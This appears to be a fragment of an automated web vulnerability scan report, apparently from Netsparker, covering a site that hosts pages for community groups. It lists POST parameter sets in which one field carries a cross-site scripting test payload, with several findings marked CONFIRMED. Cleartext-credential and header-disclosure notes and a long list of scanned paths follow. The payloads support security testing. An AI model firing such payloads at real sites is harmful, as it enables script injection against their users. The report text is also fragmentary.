| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | '"--></style></script><script>alert(0x002C17)</script> |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | '"--></style></script><script>alert(0x002C22)</script> |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | '"--></style></script><script>alert(0x002C35)</script> |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | '"--></style></script><script>alert(0x002C86)</script> |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | '"--></style></script><script>alert(0x002C95)</script> |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | '"--></style></script><script>alert(0x002DF9)</script> |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | '"--></style></script><script>alert(0x002DFA)</script> |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | "></script><script>alert(9)</script> |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my Directory Listing! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | '"--></style></script><script>alert(0x002E13)</script> |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my Directory Listing! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| body | POST | 3 |
| ccatg | POST | '"--></style></script><script>alert(0x002E2E)</script> |
| country | POST | USA |
| DirFLAG | POST | Y |
| keyw | POST | 3 |
| phone | POST | 3 |
| state | POST | 3 |
| street | POST | 3 |
| submit | POST | DONE ...Give me my Directory Listing! |
| subs | POST | Y |
| title | POST | 3 |
| valp | POST | not_used |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | '"--></style></script><script>alert(0x002E32)</script> |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my Directory Listing! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | '"--></style></script><script>alert(0x002E73)</script> |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my Directory Listing! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | '"--></style></script><script>alert(0x002E7F)</script> |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my Directory Listing! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 |
| Parameter | Type | Value |
| body | POST | '"--></style></script><script>alert(0x00035D)</script> |
| ccatg | POST | Animals |
| country | POST | USA |
| DirFLAG | POST | Y |
| keyw | POST | 3 |
| phone | POST | 3 |
| state | POST | 3 |
| street | POST | 3 |
| submit | POST | DONE ...Give me my Directory Listing! |
| subs | POST | Y |
| title | POST | 3 |
| valp | POST | not_used |
|
- /002_Website.php3
/002_Website.php3 |
| Parameter | Type | Value |
| addrQ | POST | N |
| body | POST | '"--></style></script><script>alert(0x0009BA)</script> |
| ccatg | POST | Animals |
| country | POST | USA |
| dir_name | POST | Smith |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| firstN | POST | 3 |
| lastN | POST | 3 |
| mapQ | POST | N |
| passwrd1 | POST | 3 |
| phnQ | POST | N |
| phone | POST | 3 |
| state | POST | 3 |
| street | POST | 3 |
| submit | POST | DONE ...Give me my site! |
| subs | POST | Y |
| title | POST | 3 |
| user | POST | 3 |
| valp | POST | not_used |
| zip | POST | 3 |
|
- /002_Directory.php3
/002_Directory.php3 |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | '"--></style></script><script>alert(0x0029BA)</script> |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Website.php3
/002_Website.php3 |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | '"--></style></script><script>alert(0x002B0B)</script> |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | '"--></style></script><script>alert(0x002B9F)</script> |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Website.php3
/002_Website.php3 |
| Parameter | Type | Value |
| addrQ | POST | Y |
| body | POST | '"--></style></script><script>alert(0x002A43)</script> |
| ccatg | POST | Animals |
| country | POST | USA |
| dir_name | POST | Smith |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| firstN | POST | 3 |
| lastN | POST | 3 |
| mapQ | POST | Y |
| passwrd1 | POST | 3 |
| phone | POST | 3 |
| state | POST | 3 |
| street | POST | 3 |
| submit | POST | DONE ...Give me my site! |
| subs | POST | Y |
| title | POST | 3 |
| user | POST | 3 |
| valp | POST | not_used |
| zip | POST | 3 |
If an attacker can intercept traffic on the network, he/she might be able to steal the users credentials.
|
- /md/church-crafts-and-activities/editpage.php3
/md/church-crafts-and-activities/editpage.php3 CONFIRMED |
If an attacker can intercept network traffic he/she can steal users credentials.
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
|
- /md/church-crafts-and-activities/_modules.html
/md/church-crafts-and-activities/_modules.html |
autocomplete="off" to the form tag or to individual "input" fields.|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
|
- /
/ CONFIRMED |
|
- /ga/troop88/
/ga/troop88/ |
|
- /ca/caf-socal/C46History.htm
/ca/caf-socal/C46History.htm |
|
- /ma/wtsc/_pgg5.php3
/ma/wtsc/_pgg5.php3 |
|
- /ma/wtsc/_pgg10.php3
/ma/wtsc/_pgg10.php3 |
|
- /ia/cvcega/_pgg3.php3
/ia/cvcega/_pgg3.php3 |
|
- /ia/cvcega/_pgg5.php3
/ia/cvcega/_pgg5.php3 |
|
- /ia/cvcega/_pgg6.php3
/ia/cvcega/_pgg6.php3 |
|
- /ia/cvcega/_pgg7.php3
/ia/cvcega/_pgg7.php3 |
|
- /ks/needlinfools/_pgg1.php3
/ks/needlinfools/_pgg1.php3 |
|
- /ia/cvcega/_pgg8.php3
/ia/cvcega/_pgg8.php3 |
|
- /ny/wcctfbc/_pgg9.php3
/ny/wcctfbc/_pgg9.php3 |
|
- /ny/wcctfbc/_pgg8.php3
/ny/wcctfbc/_pgg8.php3 |
|
- /ny/wcctfbc/_pgg7.php3
/ny/wcctfbc/_pgg7.php3 |
|
- /ny/wcctfbc/_pgg10.php3
/ny/wcctfbc/_pgg10.php3 |
|
- /or/tukwilahoa/recrules.htm
/or/tukwilahoa/recrules.htm |
|
- /or/tukwilahoa/neighbor.htm
/or/tukwilahoa/neighbor.htm |
|
- /or/tukwilahoa/TukwilaFREErental.htm
/or/tukwilahoa/TukwilaFREErental.htm |
|
- /or/tukwilahoa/officeinfo.htm
/or/tukwilahoa/officeinfo.htm |
|
- /or/tukwilahoa/tukwilaboard.htm
/or/tukwilahoa/tukwilaboard.htm |
|
- /mo/hillsboro-mothers-club/_pgg7.php3
/mo/hillsboro-mothers-club/_pgg7.php3 |
SERVER header of its HTTP response.
|
- /pa/generation-s
/pa/generation-s |
|
- /pa/generation-s
/pa/generation-s |
SERVER header of its HTTP response.
|
- /pa/generation-s
/pa/generation-s |
SERVER header of its HTTP response.
|
- /pa/generation-s
/pa/generation-s |
|
- /index.html
/index.html |
| Parameter | Type | Value |
| FullSearch | POST | GO |
| gcity | POST | 3 |
| gstate | POST | ALL |
| keyw | POST | '"--></style></script><script>alert(0x000455)</script> |
| neighborhood | POST | ALL |
| sts | POST | E |
|
- /index.html
/index.html |
| Parameter | Type | Value |
| FullSearch | POST | GO |
| gcity | POST | 3 |
| gstate | POST | ALL |
| keyw | POST | '"--></style></script><script>alert(0x000455)</script> |
| neighborhood | POST | ALL |
| sts | POST | E |
|
- /pa/
/pa/ CONFIRMED |
|
- /pa/generation-s/
/pa/generation-s/ |
|
- /ga/projectlinus/
/ga/projectlinus/ |
|
- /002_Website.php3
/002_Website.php3 |
|
- /ca/jamestownpto/
/ca/jamestownpto/ |
|
- /az/mcl-tsn-007/
/az/mcl-tsn-007/ |
|
- /mo/war-no-more/
/mo/war-no-more/ |
|
- /mo/swmo-sfo/
/mo/swmo-sfo/ |
|
- /in/aurora1stpresby/
/in/aurora1stpresby/ |
|
- /wa/vipers/
/wa/vipers/ |
|
- /nc/troop525bsa/
/nc/troop525bsa/ |
|
- /ca/byebyebirdies/
/ca/byebyebirdies/ |
|
- /ny/wcctfbc/
/ny/wcctfbc/ |
|
- /ia/troop188/
/ia/troop188/ |
|
- /tn/venturingcrew125/
/tn/venturingcrew125/ |
|
- /ok/troop553/
/ok/troop553/ |
|
- /pa/bsatroop150orefield/
/pa/bsatroop150orefield/ |
|
- /mn/getinvolvedaurora/
/mn/getinvolvedaurora/ |
|
- /nd/wf-exchange-club/
/nd/wf-exchange-club/ |
|
- /mo/pack-446/
/mo/pack-446/ |
|
- /tn/529/
/tn/529/ |
|
- /la/pack16/
/la/pack16/ |
|
- /pa/troop267bsa/
/pa/troop267bsa/ |
|
- /nc/troop531/
/nc/troop531/ |
|
- /tx/pack39/
/tx/pack39/ |
|
- /fl/classiccrimsoncruisers/
/fl/classiccrimsoncruisers/ |
|
- /pa/newhorizons/
/pa/newhorizons/ |
|
- /mn/firstbaptistchurch/
/mn/firstbaptistchurch/ |
|
- /sc/millennium/
/sc/millennium/ |
|
- /fl/alphagamma/
/fl/alphagamma/ |
|
- /pa/pack32/
/pa/pack32/ |
|
- /md/thetachapter/
/md/thetachapter/ |
|
- /al/wiregrassmarines/
/al/wiregrassmarines/ |
|
- /ny/rjo-pfo/
/ny/rjo-pfo/ |
|
- /co/pfqg/
/co/pfqg/ |
|
- /in/fwia/
/in/fwia/ |
|
- /pa/hazletonpack790/
/pa/hazletonpack790/ |
|
- /ca/pcrs/
/ca/pcrs/ |
|
- /in/hopewellpres/
/in/hopewellpres/ |
|
- /or/newhope/
/or/newhope/ |
|
- /ok/unity-wellness-team/
/ok/unity-wellness-team/ |
|
- /va/ebbtidebeach/
/va/ebbtidebeach/ |
|
- /tx/robertekattnerpost582americanlegion/
/tx/robertekattnerpost582americanlegion/ |
|
- /ks/pack519-wichita/
/ks/pack519-wichita/ |
|
- /md/laplatalions/
/md/laplatalions/ |
|
- /oh/deltakappagamma-oh-phi/
/oh/deltakappagamma-oh-phi/ |
|
- /va/ravishingreds/
/va/ravishingreds/ |
|
- /pa/troop55127/
/pa/troop55127/ |
|
- /wv/showhorses/
/wv/showhorses/ |
|
- /mi/westgodwinpto/
/mi/westgodwinpto/ |
|
- /fl/troop359/
/fl/troop359/ |
|
- /tn/bsatroop157/
/tn/bsatroop157/ |
|
- /mi/concert-choir/
/mi/concert-choir/ |
|
- /pa/troop62/
/pa/troop62/ |
|
- /fl/pelicannest/
/fl/pelicannest/ |
|
- /pa/wigs/
/pa/wigs/ |
|
- /tn/troop503/
/tn/troop503/ |
|
- /ga/projectlinus/index.html
/ga/projectlinus/index.html |
|
- /ca/jamestownpto/index.html
/ca/jamestownpto/index.html |
|
- /az/mcl-tsn-007/index.html
/az/mcl-tsn-007/index.html |
|
- /mo/war-no-more/index.html
/mo/war-no-more/index.html |
|
- /mo/swmo-sfo/index.html
/mo/swmo-sfo/index.html |
|
- /in/aurora1stpresby/index.html
/in/aurora1stpresby/index.html |
|
- /ny/southcountrypta/
/ny/southcountrypta/ |
|
- /wa/vipers/index.html
/wa/vipers/index.html |
|
- /nc/troop525bsa/index.html
/nc/troop525bsa/index.html |
|
- /ca/byebyebirdies/index.html
/ca/byebyebirdies/index.html |
|
- /pa/carsonvillefire/index.html
/pa/carsonvillefire/index.html |
|
- /pa/halifaxems/index.html
/pa/halifaxems/index.html |
|
- /ny/wcctfbc/index.html
/ny/wcctfbc/index.html |
|
- /ia/troop188/index.html
/ia/troop188/index.html |
|
- /tn/venturingcrew125/index.html
/tn/venturingcrew125/index.html |
|
- /tn/venturing/index.html
/tn/venturing/index.html |
|
- /ok/troop553/index.html
/ok/troop553/index.html |
|
- /pa/bsatroop150orefield/index.html
/pa/bsatroop150orefield/index.html |
|
- /nd/wf-exchange-club/index.html
/nd/wf-exchange-club/index.html |
|
- /mn/getinvolvedaurora/index.html
/mn/getinvolvedaurora/index.html |
|
- /index.html
/index.html |
|
- /002_Directory.php3
/002_Directory.php3 |
|
- /md/church-crafts-and-activities/_pgg2.php3
/md/church-crafts-and-activities/_pgg2.php3 |